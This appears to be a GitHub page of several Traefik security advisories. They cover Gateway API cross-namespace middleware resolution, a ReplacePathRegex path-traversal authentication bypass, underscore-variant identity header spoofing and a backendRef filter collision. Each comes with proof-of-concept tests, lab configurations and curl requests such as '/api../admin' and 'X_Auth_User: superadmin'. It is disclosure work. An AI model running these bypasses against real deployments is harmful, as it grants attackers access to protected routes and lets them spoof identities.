mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute cp "$SCRIPTDIR/pocgatewayextensionreftest.go" \ pkg/provider/kubernetes/gateway/httproutebackendfilternamespacepoctest.go cp "$SCRIPTDIR/backendrefextensionfiltercrossnamespacepoc.yml" \ pkg/provider/kubernetes/gateway/fixtures/httproute/backendrefextensionfiltercrossnamespacepoc.yml

if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (dynamic.Configuration, statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then sed -i \ -e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, , err := p.loadConfigurationFromGateways(t.Context())/' \ -e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \ pkg/provider/kubernetes/gateway/httproutebackendfilternamespacepoctest.go fi

printf '[] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n' go test ./pkg/provider/kubernetes/gateway \ -run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \ -count=1 -v

printf 'POCRESULT=PASS\n'

</details>

<details> <summary>backendrefextensionfiltercrossnamespacepoc.yml</summary>

yaml --- apiVersion: v1 kind: Service metadata: name: protected-api namespace: platform spec: ports: - name: web protocol: TCP port: 80 targetPort: web

--- kind: EndpointSlice apiVersion: discovery.k8s.io/v1 metadata: name: protected-api-abc namespace: platform labels: kubernetes.io/service-name: protected-api addressType: IPv4 ports: - name: web port: 8080 endpoints: - addresses: - 10.10.20.10 conditions: ready: true

--- kind: GatewayClass apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway-class spec: controllerName: traefik.io/gateway-controller

--- kind: Gateway apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway namespace: infra spec: gatewayClassName: shared-gateway-class listeners: - name: http protocol: HTTP port: 80 allowedRoutes: kinds: - kind: HTTPRoute group: gateway.networking.k8s.io namespaces: from: All

--- kind: ReferenceGrant apiVersion: gateway.networking.k8s.io/v1beta1 metadata: name: allow-tenant-route-to-service namespace: platform spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: tenant-a to: - group: "" kind: Service name: protected-api

--- kind: HTTPRoute apiVersion: gateway.networking.k8s.io/v1 metadata: name: tenant-route namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra kind: Gateway group: gateway.networking.k8s.io hostnames: - attacker.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: protected-api namespace: platform port: 80 kind: Service group: "" filters: - type: ExtensionRef extensionRef: group: traefik.io kind: Middleware name: privileged-auth-header

</details>

<details> <summary>pocgatewayextensionreftest.go</summary>

go package gateway

import ( "net/http" "net/http/httptest" "testing"

"github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" "github.com/traefik/traefik/v3/pkg/middlewares/headers" traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1" kubefake "k8s.io/client-go/kubernetes/fake" )

func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t testing.T) { k8sObjects, gwObjects := readResources(t, []string{"httproute/backendrefextensionfiltercrossnamespacepoc.yml"})

kubeClient := kubefake.NewClientset(k8sObjects...) gwClient := newGatewaySimpleClientSet(t, gwObjects...)

client := newClientImpl(kubeClient, gwClient) eventCh, err := client.WatchAll(nil, make(chan struct{})) require.NoError(t, err) if len(k8sObjects) > 0 || len(gwObjects) > 0 { <-eventCh }

var resolvedRefs []string p := Provider{ EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}}, client: client, }

p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, dynamic.Middleware, error) { resolvedRefs = append(resolvedRefs, namespace+"/"+name) return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{ Headers: &dynamic.Headers{ CustomRequestHeaders: map[string]string{ "X-WEBAUTH-USER": "admin", }, }, }, nil })

conf := p.loadConfigurationFromGateways(t.Context()) require.NotNil(t, conf)

var serviceConfig dynamic.Service for , service := range conf.HTTP.Services { for , middlewareRef := range service.Middlewares { if middlewareRef == "platform-privileged-auth-header@kubernetescrd" { serviceConfig = service } } }

require.Contains(t, resolvedRefs, "platform/privileged-auth-header") require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd") require.NotNil(t, serviceConfig) require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")

seenUser := make(chan string, 1) backend := http.HandlerFunc(func(rw http.ResponseWriter, req http.Request) { seenUser <- req.Header.Get("X-WEBAUTH-USER") rw.WriteHeader(http.StatusOK) })

handler, err := headers.NewHeader(backend, conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers) require.NoError(t, err)

recorder := httptest.NewRecorder() handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))

assert.Equal(t, http.StatusOK, recorder.Code) assert.Equal(t, "admin", <-seenUser) t.Logf("POCRESULTDETAIL=backendextensionrefresolvednamespace=%q middleware=%q injectedheader=%q", "platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin") }

</details>

Requirements

- git - Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0. - Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.

No local Traefik checkout or Kubernetes cluster is required by default.

Run

sh ./run.sh

Optional target override:

sh TARGETREF=v3.7.0 ./run.sh

Optional local-source override for faster validation:

sh TRAEFIKSRC=/path/to/traefik TARGETREF=v3.7.5 ./run.sh

Expected Result

The run should end with:

text POCRESULTDETAIL=backendextensionrefresolvednamespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injectedheader="X-WEBAUTH-USER: admin" POCRESULT=PASS

Root Cause

Line numbers below are from:

text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0

1. Route-level filters use the route namespace

pkg/provider/kubernetes/gateway/httproute.go:143-144

go // TODO loadMiddlewares errors could change the condition. router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)

For filters directly on HTTPRoute.rules[], Traefik resolves extension filters relative to route.Namespace. This matches the Gateway API LocalObjectReference model.

2. BackendRef namespace overwrites the route namespace

pkg/provider/kubernetes/gateway/httproute.go:240-243

go namespace := route.Namespace if backendRef.Namespace != nil && backendRef.Namespace != "" { namespace = string(backendRef.Namespace)

For a cross-namespace backend Service, namespace becomes the backend namespace, for example platform.

3. ReferenceGrant checks only the backend object

pkg/provider/kubernetes/gateway/httproute.go:258-266

go if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(), Reason: string(gatev1.RouteReasonRefNotPermitted),

This validates permission to reference the backend object, such as platform/protected-api Service.

4. The backend namespace is reused for backendRef filters

pkg/provider/kubernetes/gateway/httproute.go:269-277

go middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch) if err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(),

The same namespace variable now points to the backend namespace. Therefore an ExtensionRef inside backendRef.filters[] is resolved as platform/<middleware-name> instead of tenant-a/<middleware-name>.

5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider

pkg/provider/kubernetes/crd/kubernetes.go:169-175

go registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, dynamic.Middleware, error) { if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) { return "", nil, fmt.Errorf("namespace %q is not allowed", namespace) }

return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil

The namespace passed from loadMiddlewares() decides which CRD Middleware object becomes part of the dynamic service configuration.

6. Service-level middlewares are applied at runtime

pkg/server/service/service.go:186-194

go if len(conf.Middlewares) > 0 { if m.middlewareChainBuilder == nil { // This should happen only in tests. return nil, errors.New("chain builder not defined") } chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares) originalLB := lb var err error lb, err = chain.Then(lb)

The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction.

Minimal Exploit Shape

The PoC fixture contains the essential object graph:

text tenant-a/HTTPRoute -> backendRef namespace: platform, name: protected-api -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header

platform/ReferenceGrant -> allows tenant-a HTTPRoute to reference platform/protected-api Service only

platform/protected-api Service

Traefik resolves the ExtensionRef as: platform/privileged-auth-header

In a real affected deployment, if platform/privileged-auth-header sets a trusted identity header, requests sent through the tenant route can reach the backend with that header injected by Traefik.

Workarounds

- Avoid granting untrusted namespaces permission to attach HTTPRoute objects to shared Gateways that route to sensitive backends. - Do not place privileged or identity-bearing Traefik Middleware objects in namespaces that can be reached by untrusted cross-namespace HTTPRoute backend references. - Prefer route-local filters and explicitly audit HTTPRoute.rules[].backendRefs[].filters[].extensionRef usage. - Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway.

Scope Boundary

Exploitation requires low-privileged route-author capability in a Kubernetes Gateway API deployment. A remote unauthenticated web client without HTTPRoute authoring capability cannot create the malicious route. If the shared Gateway is internet-facing, the final request that triggers the unauthorized middleware can be sent over the public network after the route is created.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.

Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., regex: "^/api(.)", replacement: "/$1"), an attacker can inject implicit traversal sequences into the capture group.

Root cause: pkg/middlewares/replacepathregex/replacepathregex.go, function ServeHTTP (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.

Attack flow:

1. Attacker sends GET /api../admin 2. sanitizePath passes it unchanged (api.. is a valid segment name, not a dot-segment) 3. Router matches PathPrefix(/api) → selects the public router (no auth middleware) 4. ReplacePathRegex applies ^/api(.) → captures ../admin → replacement produces /../admin 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes /../admin to /admin 7. Attacker receives protected content without authentication

Suggested fix: Add the same JoinPath equality check after line 67:

go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return }

PoC Prerequisites: Docker Engine 20.10+, Docker Compose v2, curl

1. Create docker-compose.yml:

yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine workingdir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5

2. Create dynamic.yml:

yaml http: routers: public-api: rule: "PathPrefix(/api)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(/admin)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000"

3. Create server.js:

javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || normalized.startsWith('/admin/')) { res.writeHead(200); res.end(ADMINSECRETDATA (normalized=${normalized})\n); } else { res.writeHead(200); res.end(PUBLIC (normalized=${normalized})\n); } }); server.listen(3000);

4. Run and exploit:

bash docker compose up -d && sleep 5

Confirm auth is enforced: curl -s -o /dev/null -w "%{httpcode}" http://localhost/admin → 401

Auth bypass: curl -s http://localhost/api../admin → ADMINSECRETDATA (normalized=/admin)

URL-encoded variant: curl -s http://localhost/api%2e%2e/admin → ADMINSECRETDATA (normalized=/admin)

Configuration note: The regex ^/api(.) (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to StripPrefix("/api") for legitimate traffic. The pattern ^/api/(.) (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where StripPrefix("/api") was vulnerable but StripPrefix("/api/") was not.

Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. X-Auth-User) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. XAuthUser), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new allowHeadersWithUnderscores: false entry point option, which strips all headers with underscores in their names before routing.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth

Summary

The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basicauth.go and pkg/middlewares/auth/digestauth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator — so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).

However, textproto.CanonicalMIMEHeaderKey does NOT treat as a separator. Attacker-supplied underscore-variant headers such as XAuthUser survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $SERVER, nginx with underscoresinheaders on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize ↔ - equivalently or expose both forms to application code that may read the attacker's value.

This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded- family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwardedheader.go. The CVE-2026-39858 advisory body states verbatim:

"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials."

The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "XAuthUser: superadmin" ... request alongside valid BasicAuth credentials.

The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:

1. pkg/middlewares/auth/basicauth.go:101-105 — BasicAuth headerField 2. pkg/middlewares/auth/digestauth.go:99-103 — DigestAuth headerField 3. pkg/middlewares/auth/forward.go:304-310 — ForwardAuth authResponseHeaders per-name writeback 4. pkg/middlewares/ingressnginx/snippet/snippet.go:480-486 — Ingress-NGINX snippet authResponseHeaders per-name writeback

The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.

The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.

Affected versions

- traefik v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.

The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).

Root cause

In pkg/middlewares/auth/basicauth.go at HEAD eec68dc:

go if b.headerField != "" { // TODO Deprecated we should add the header with canonical key. req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }

The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.

pkg/middlewares/auth/digestauth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.

The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwardedheader.go:53-66:

go func isManagedXHeader(key string) bool { if len(key) == 0 || key[0] != 'X' { return false } if , ok := XHeadersSet[key]; ok { return true } if strings.IndexByte(key, '') < 0 { return false } canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "", "-")) , ok := XHeadersSet[canonical] return ok }

This treats ↔ - equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded- family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.

Proof of concept

Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/<attacker-repo>/traefik-ht1a-poc; commands below are verbatim.

Setup

yaml docker-compose.yml services: traefik: image: traefik:v3.6.14 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:80 ports: - "8080:80" volumes: - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro echo: image: mendhak/http-https-echo:36 environment: - HTTPPORT=8888

yaml traefik/dynamic.yml — canonical headerField, recommended operator config http: routers: protected: rule: "PathPrefix(/)" service: echo middlewares: [basic-auth] services: echo: loadBalancer: servers: [{url: "http://echo:8888"}] middlewares: basic-auth: basicAuth: users: - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123 headerField: "X-Auth-User"

docker compose up -d.

Test 1 (control — CVE-2026-33433 fix works for canonical case)

bash $ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", ... }

The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.

Test 2 (HT-1A bypass — underscore variant survives)

bash $ curl -s -u alice:secret123 -H "XAuthUser: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", "xauthuser": "superadmin", ... }

The underscore-variant xauthuser: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.

Test 3 (double-send — same result)

bash $ curl -s -u alice:secret123 \ -H "X-Auth-User: superadmin" \ -H "XAuthUser: superadmin" \ http://localhost:8080/ { ... "x-auth-user": "alice", # Traefik's writeback "xauthuser": "superadmin", # attacker's underscore — survived Del ... }

The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.

Backend impact

The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["xauthuser"] sees superadmin.

For backends that normalize ↔ - equivalently — meaning the attacker's value wins:

- CGI / WSGI / PHP $SERVER (RFC 3875 §4.1.18 — header name uppercased with - replaced by ): both X-Auth-User and XAuthUser map to HTTPXAUTHUSER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without --disable-logging, waitress) preserve both. Note: Apache + modphp with default HttpProtocolOptions Strict filters underscore-headers from $SERVER (this PoC's PHP backend test demonstrated the filter); Apache + modpython, Apache + modwsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - nginx with underscoresinheaders on (https://nginx.org/en/docs/http/ngxhttpcoremodule.html#underscoresinheaders): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - Tomcat / Java EE servlet containers: HttpServletRequest.getHeader(name) is case-insensitive; underscore handling is container-specific. Many normalize. - Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.

Severity

I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).

CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.

CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.

CWEs: - CWE-290 (Authentication Bypass by Spoofing) - CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054 - CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051

Suggested fix

Two equivalent approaches:

1. Extend Header.Del to handle underscore variants at the four call sites. Replace:

go req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user}

with:

go canonical := http.CanonicalHeaderKey(b.headerField) // Strip canonical AND underscore-variant of the canonical key. for key := range req.Header { if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "", "-"), canonical) { delete(req.Header, key) } } req.Header.Set(canonical, user) // canonical-key write

This pairs the headerField primitive with the same ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-.

2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basicauth.go, digestauth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.

Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basicauth.go:102 and digestauth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.

Why this is a Pattern-8 sibling, not a new CVE class

The combination of:

1. CVE-2026-33433's fix scope (case-canonicalization for headerField) 2. CVE-2026-39858's fix scope (underscore-variant for XHeadersSet) 3. The defective primitive remaining at HEAD (the Del + literal-write pair at four call sites)

establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.

I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.

Credit

Matteo Panzeri (GitHub matte1782). CVE credit requested.

AI-assistance disclosure

Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider. When two accepted HTTPRoutes target the same backend Service:port but configure different backendRef filters, Traefik may resolve both routes to the same child service and apply only one route's filter set to all requests reaching that backend. In Gateway deployments where backendRef filters set security-sensitive headers — such as tenant identity, authorization context, or values the backend trusts — an attacker who can create an accepted HTTPRoute sharing the same backend Service:port may cause their route's filter context to be applied to another route's requests, potentially crossing namespace boundaries when a ReferenceGrant permits cross-namespace targeting.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.7.6

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Traefik Gateway HTTPRoute backendRef filter context collision across routes sharing Service:port

Summary

Traefik's Kubernetes Gateway API provider builds the dynamic HTTP backend service key for a Gateway HTTPRoute backendRef from only the backend namespace, Service name, protocol, and port. It does not include the HTTPRoute, listener, rule, or backendRef filter identity in that key.

When two accepted HTTPRoutes point to the same backend Service:port but define different backendRef filters, Traefik can make both route WRR services reference the same child service. The child service then carries only one backendRef filter set, so one route can send requests to the backend with another route's backend context.

This is security-relevant when backendRef filters set, remove, or rewrite security-sensitive context, such as tenant, identity, auth, sanitization, Host, or path headers trusted by the backend.

Credit: Qican Ma, Ding Luo @XiaoMi ShadowBlade Security Lab

Suggested Severity

Suggested severity: Medium/High, configuration-dependent.

Suggested CVSS 3.1:

text CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N

Notes:

- Requires Gateway API routes sharing the same backend Service:port with different security-sensitive backendRef filters trusted by the backend. - Cross-namespace impact is possible when route attachment and ReferenceGrant policy allow an attacker route to target the shared backend. - No RCE, memory corruption, or default-config exposure claimed.

Suggested CWE:

text CWE-863: Incorrect Authorization CWE-284: Improper Access Control

Affected Component

text pkg/provider/kubernetes/gateway/httproute.go — loadService(), loadMiddlewares()

Tested Versions

Confirmed on:

text Traefik source snapshot: 29406d42898547f1ffabd904f66af06c212740cf on master

Earliest affected version not exhaustively determined.

Root Cause

loadService starts the dynamic service name from backend namespace and Service name only:

go // pkg/provider/kubernetes/gateway/httproute.go:245 serviceName := provider.Normalize(namespace + "-" + string(backendRef.Name) + "-http")

It loads backendRef filters using that same service name before appending the backend port:

go // pkg/provider/kubernetes/gateway/httproute.go:258 middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)

For normal Kubernetes Services, the final child service key appends only the port:

go // pkg/provider/kubernetes/gateway/httproute.go:304-317 portStr := strconv.FormatInt(int64(port), 10) serviceName = provider.Normalize(serviceName + "-" + portStr) ... conf.HTTP.Services[serviceName] = &dynamic.Service{LoadBalancer: lb, Middlewares: middlewares}

Each route/rule WRR service references the child service by name. Later route configs are merged by map key (maps.Copy), so both route-local WRR services can point to the same child service, which retains only one of the route/backendRef filter configurations.

Attack Scenario

